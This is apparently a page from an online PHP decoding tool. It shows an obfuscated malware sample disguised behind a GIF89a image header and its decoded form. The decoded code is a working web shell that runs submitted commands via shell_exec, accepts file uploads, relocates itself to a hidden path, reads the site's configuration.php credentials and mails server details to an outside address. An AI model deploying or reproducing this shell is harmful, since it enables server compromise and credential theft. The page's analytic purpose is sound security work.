Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

GIF89aGiam <?php eval(gzinflate(str_rot13(base64_decode('rUl6QttVEP58VfyHci+SHRV5bderKsCoH..

Decoded Output download

error_reporting(0);
if (!isset($_SESSION['bajak']))	{
$visitcount = 0;
$web = $_SERVER["HTTP_HOST"];
$inj = $_SERVER["REQUEST_URI"];
$body = "ada yang inject 
$web$inj";
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE = OFF";}
else {$security= "SAFE_MODE = ON";};
$serper=gethostbyname($_SERVER['SERVER_ADDR']);
$injektor = gethostbyname($_SERVER['REMOTE_ADDR']);
mail("[email protected]", "$body","Hasil Bajakan http://$web$inj
$security
IP Server = $serper
 IP Injector= $injektor");
$_SESSION['bajak'] = 0;
}
else {$_SESSION['bajak']++;};
if(isset($_GET['clone'])){
$source = $_SERVER['SCRIPT_FILENAME'];
$desti =$_SERVER['DOCUMENT_ROOT']."/images/stories/food/footer.php";
rename($source, $desti);
}
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE : OFF";}
else {$security= "SAFE_MODE : ON";}
echo "<title>VR46 - DNSNET</title><br>";
echo "<font size=2 color=#888888><b>".$security."</b><br>";
$cur_user="(".get_current_user().")";
echo "<font size=2 color=#888888><b>User : uid=".getmyuid().$cur_user." gid=".getmygid().$cur_user."</b><br>";
echo "<font size=2 color=#888888><b>Uname : ".php_uname()."</b><br>";
function pwd() {
$cwd = getcwd();
if($u=strrpos($cwd,'/')){
if($u!=strlen($cwd)-1){
return $cwd.'/';}
else{return $cwd;};
}
elseif($u=strrpos($cwd,'\')){
if($u!=strlen($cwd)-1){
return $cwd.'\';}
else{return $cwd;};
};
}
echo '<form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form>';
echo '<form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form>';
if(isset($_POST['submit'])){
$uploaddir = pwd();
if(!$name=$_POST['newname']){$name = $_FILES['userfile']['name'];};
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name);
if(move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name)){
echo "Upload Failed";
} else { echo "Upload Success to ".$uploaddir.$name." :P "; }
}
if(isset($_POST['command'])){
$cmd = $_POST['cmd'];
echo "<pre><font size=3 color=#000000>".shell_exec($cmd)."</font></pre>";
}
elseif(isset($_GET['cmd'])){
$comd = $_GET['cmd'];
echo "<pre><font size=3 color=#000000>".shell_exec($comd)."</font></pre>";
}
elseif(isset($_GET['rf'])){
$rf = file_get_contents("../../configuration.php");
echo $rf;
}
else { echo "<pre><font size=3 color=#000000>".shell_exec('ls -la')."</font></pre>";
}

Did this file decode correctly?

Original Code

GIF89aGiam
<?php eval(gzinflate(str_rot13(base64_decode('rUl6QttVEP58VfyHci+SHRV5bderKsCoHJgj0pFjZOgXQNbG3iRbea+1u4bmEP/9c9ZpXgrlddUIEXten2xzaTZcKalvxVipjCim7mFqf2ZQWYi7JbTmxu3ERBhSvU7/yhmzz+zWuelpf2zY3OjcCS1ZIqvCkIDsgkbnno/hER2Gn8LhFT0bjS7is040ojeoFsXnNfUw/OcyjFPx5bBKG4xyOgcLykVT5qyYEvDgiSHXBYZTf4pzmlprvptlMP0oChFCAaWDwjiXKWoW+BeGXfLQ0TyplDBmCB8dnYbx+eAkhACD00a6/7i5wTPNX7Dqg5FazUjJSAAZdEWb8bxgOWoXFTn1anxnZTIEmpqa+a2RCoJ8y3YYng9T4YpGzlHm0oKpylXvQb17/2SKIi+ROd0m1NJRt+kZ0yIjf29CS05zxpR7vt8SBZS1tVwXvQsSZGjHEVJGwmhOQNqz/FcF4hYotbCf9Lx28ZKpJxZi3kuKxMR65+avY2flJJksOM4MjoyWlVf46hA40fGwajGKQnt/h/2j89Cxg5BlegQJlkkng+PL87A/ioeDwci58agvZTbl2tcATMD3UcoU/xmuvGVJ4pwoXhNdJ90maNRhXcVCHKK9Sg3RXj1RYJTMJKEHU5iMH34avntCachWP+qHowO/Fh6M1SEW0EtBJJwwLf7lwWIkkRln69cP9gOGh9RbpPPogT9eOGpAGErQ7IC61IPqbxAAJcYK3a5Uu6/NZAkOgL8SdmAj5WZrhAiLFB4l06Vl+rVlFdar8m7fICHFQcaV7W9qPcykKhIjcU7Ke1VTY7aS+7Q+cQmK6lbsR4E2V5VFu6jfaXzHDqJIeqEu44VIaGreok9kRqmCoMQD47apDytlO+WN/LkU19ffkwOsv52kVoSUOUCZylaOOwSYvsClV5jlIKD08HJPj3KesyJ6CTwQUkwZb+YlD6jhXwwlyGRAkzyl69qoGudvqa/jQ2XHssq+34K9j8gOnf1opBwacVDkSHNRyZSxaTspM6xS3paD1fxCCZdyJkxXQVLGehk+TT+pcybSlBcNTV1wXzOYgH+jxtnEStrk/ENUexFSn99b7z2yCm8lPrJMe7/9o8lG8Ht8oCTJmNaBbngONchTVMdzwXpd8Bq9K6sVGbtld+dpuUnWIxW45cvlGdjqSxytQgMHnB6swi5w3L7RldNF4tyAnTWyZpjLOx7X0Wwao4H7rIvJy7hpg3K7QOPZNA2YnxIKq633VTsVYzvyFPfCI6lqMEzTVEiSY62JAZH3aDhLXnsXhO6TVHvanpDcDH3LMpwRWEyjzEZ7cDV4rUd8aIJ+Yid1135gTOsZz7KYf+GJi5HsSauHyFRfurZN1u/RfAlONhiWih+FIL8Lg5q0ENQEAGCzb3uzgDfcLBouGs+HP2ufiHalGB5lex1qW4DgufozgvwAdyfTcSdwzrPA/wM=')))); ?>

Function Calls

gzinflate 1
str_rot13 1
base64_decode 1

Variables

None

Stats

MD5 1480240132d51229a5bc451fdb3b8c50
Eval Count 1
Decode Time 114 ms